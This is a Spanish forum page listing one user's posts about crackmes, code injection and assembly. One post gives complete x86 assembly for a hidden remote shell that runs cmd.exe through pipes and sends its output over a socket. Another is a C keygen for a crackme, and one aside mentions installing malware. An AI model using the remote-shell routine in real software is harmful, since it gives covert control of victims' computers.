Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fary

#321
Cita de: Lekim en  7 Abril 2016, 13:00 PM
El problema no es que tenga las mismas funciones o no. El problema está en saber interpretar el código ASM y saber lo suficiente en VB para pasar de uno a otro. Y además  concretamente lo que pide illuminat3d. Pienso yo vamos XD. No es pos fastidiar.

El código se puede pasar perfectamente a VB6 sin tener ni idea de ASM... son solo API de windows lo que se ve en el código, de ensamblador se podría decir que no hay casi nada de intrucciones.

Parate a mirarlo 1 minuto y lo vas a comprobar por ti mismo.

saludos.
#322
Me alegro de que hallas podido solucionar el problema.

En este caso podrías haber mirado lo que sucedia abriendo el ejecutable en cuestion en el que se va a inyectar el código con OllyDbg y poniendo en BP en la API MessageBoxA. Al inyectar el código se te pararía el programa y podrías ver donde esta el error.

saludos.
#323
¿GetTargetThreadIDFromProcName?

¿Podrías poner el código completo e indicar que compilador estas usando?

saludos.
#325
Cita de: Lekim en  6 Abril 2016, 10:57 AM
¿Y en VB?, porque te recuerdo que esto es el foro para Visual Basic y aquí el amigo programa en VB. XD

Jajajaja, en VB6 o en cualquier otro lenguaje se usan las mismas funciones... Pero vamos que si insistes y tienes mucho interés lo programo.

Saludos.
#326
Cita de: tincopasan en  6 Abril 2016, 21:28 PM
¿y si en vez de usar otros crackmes creas uno propio?

Hola tincopasan!

Creo que esto es decir el tema pero bueno. Cuando se solucione este pongo uno mio :)

Saludos.
#327
De igual forma, una vez instalado el malware para que requieres permiso de administración?
#328
Cita de: Lekim en  5 Abril 2016, 18:31 PM
¿Por qué no nos ilustras un poco con tu sabiduría? En lugar de criticar  :¬¬

Por supuesto que te ilustro  >:D

Aquí tienes mi código en ASM de una verdadera Shell Remota que usa pipes de manera eficiente.

Código (asm) [Seleccionar]
;///////////////////////////////////////////////////////////////////////////////////////////////
;//////                                         FUNCIONES SHELL REMOTA                /////////
;//////////////////////////////////////////////////////////////////////////////////////////////
proc IniciarShell
    ; Funcion que inicializa la shell remota
    mov [saPipe.nLength], 12
    mov [saPipe.lpSecurityDescriptor], NULL
    mov [saPipe.bInheritHandle], TRUE

    invoke CreatePipe, stdinRd,  stdinWr,  saPipe, 0
    invoke CreatePipe, stdoutRd, stdoutWr, saPipe, 0

     invoke GetStartupInfoA, sInfo

     mov eax, STARTF_USESTDHANDLES
     mov ebx, STARTF_USESHOWWINDOW
     or eax, ebx

     mov [sInfo.dwFlags], eax
     mov [sInfo.wShowWindow], SW_HIDE
     mov eax, [stdoutWr]
     mov [sInfo.hStdOutput] , eax
     mov eax, [stdoutWr]
     mov [sInfo.hStdError]  , eax
     mov eax, [stdinRd]
     mov [sInfo.hStdInput]  , eax

     invoke GlobalAlloc, LPTR, 30
     mov [RutaCmd], eax

     invoke GetSystemDirectoryA, [RutaCmd], 29

     invoke lstrcat, [RutaCmd], '\cmd.exe'

     invoke CreateProcessA, NULL, [RutaCmd], NULL, NULL, TRUE, 0, NULL, NULL, sInfo, pInfo

     invoke GlobalFree, [RutaCmd]

     invoke Sleep, 150

     stdcall LeerShell ; Llamamos a LEER PIPE para enviar la primera lectura
     ret
endp

proc EscShell,Comando,Longitud
    mov [bEscritos],NULL
    invoke WriteFile, [stdinWr],[Comando], [Longitud], bEscritos, NULL

    mov [bEscritos],NULL
    invoke WriteFile, [stdinWr],varSaltoLinea, 2, bEscritos, NULL

    invoke Sleep, 100

    stdcall LeerShell

    ret

    varSaltoLinea     db 13,10 ; salto de linea para el PIPE
endp

proc TerminarShell
    ; Funcion que cierra la shell remota
    invoke TerminateProcess, [pInfo.hProcess], 0
    invoke CloseHandle, [stdinRd]
    invoke CloseHandle, [stdinWr]
    invoke CloseHandle, [stdoutRd]
    invoke CloseHandle, [stdoutWr]
    invoke Sleep, 100
    ret
endp

proc LeerShell
    ; Funcion que lee la shell remota
    mov [totalLeido], 0
    mov [totalLeer], 0

    invoke PeekNamedPipe, [stdoutRd], NULL, NULL, NULL, totalLeer, NULL

    .if [totalLeer] = 0
; No hay que leer.
ret
    .endif

    LP_leer:
invoke GlobalAlloc, LPTR, 1050
mov [bufLeido], eax

invoke GlobalAlloc, LPTR, 1050
mov [envLeido], eax

invoke ReadFile, [stdoutRd], [bufLeido], 1024, bUsadosOK, NULL

invoke lstrcat, [envLeido], 'SHEL%%%%'
invoke lstrcat, [envLeido], [bufLeido]

invoke send, [hsock], [envLeido], 1024, 0

mov edx, [bUsadosOK]

add [totalLeido], edx

invoke GlobalFree, [bufLeido]
invoke GlobalFree, [envLeido]

invoke Sleep, 100

cmp [bUsadosOK], 1024
je  LP_leer
mov edx, [totalLeer]
cmp [totalLeido], edx
jl  LP_leer

ret
endp
;//////////////////////////////////////////////////////////////////////////////////////////////
;//////////////////////////////////////////////////////////////////////////////////////////////


Además de que el código que el aporta, no es suyo... no sé en donde lo vi posteado.

saludos.
#329
Otro crackme facilito de la web que veniamos hablando.

https://www.sendspace.com/file/blagfx

saludos!!
#330
Ahí va mi Keygen:

// KeygenMe Humanoid.
// Juan fary.

#include <stdio.h>
#include <stdlib.h>

char * Tabla1 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char * Tabla2 = "AHyukjsdfkjsdfnPQU5xWERY67345aq9nFyR";
char * Tabla3 = "o3zYzaI1982Tv2FasgjkkjhkjlJt5Dpe32Ax";

char BufferTabla1[255];

void CadenaAMayus(char * Cadena); // Pasa letras minusculas a mayusculas.
void FunTabla1(char * Cadena); // Obtiene primera parte del serial.
void Fun2Parte(char * Cadena); // Obtiene segunda parte del serial.

int main()
{
char buffer[255];

printf("Introduce usuario: ");
scanf("%s", &buffer);

CadenaAMayus(buffer);
FunTabla1(buffer);
Fun2Parte(buffer);

system("PAUSE");
return 0;
}

void Fun2Parte(char * Cadena)
{
int i = 0;
int a = 0;
int Contador = 0;

while(Cadena[i] != 0)
{
a = Cadena[i];
a ^= 0;
a = a << 0xA;
a ^= 0x0A4ED0F7;
a -= 0x29A;
Contador = Contador + a;
i++;
}
printf("-%d\n", Contador);
}

void FunTabla1(char * Cadena)
{
int Contador = 0;
int i = 0;
int bandera = 0;

while (Cadena[i] != 0)
{
Contador = 0;
while(Cadena[i] != 0)
{

if (Tabla1[Contador] == Cadena[i] && bandera == 1)
{
printf("%c", Tabla2[Contador]);
bandera = 0;
break;
}else if (Tabla1[Contador] == Cadena[i] && bandera == 0)
{
printf("%c", Tabla3[Contador]);
bandera = 1;
break;
}
Contador++;
}
i++;
}
}

void CadenaAMayus(char * Cadena)
{
int i = 0;

while (Cadena[i] != 0)
{
if (Cadena[i] > 96 && Cadena[i] < 123)
{
Cadena[i] -= 0x20;
}
i++;
}
}


saludos  :P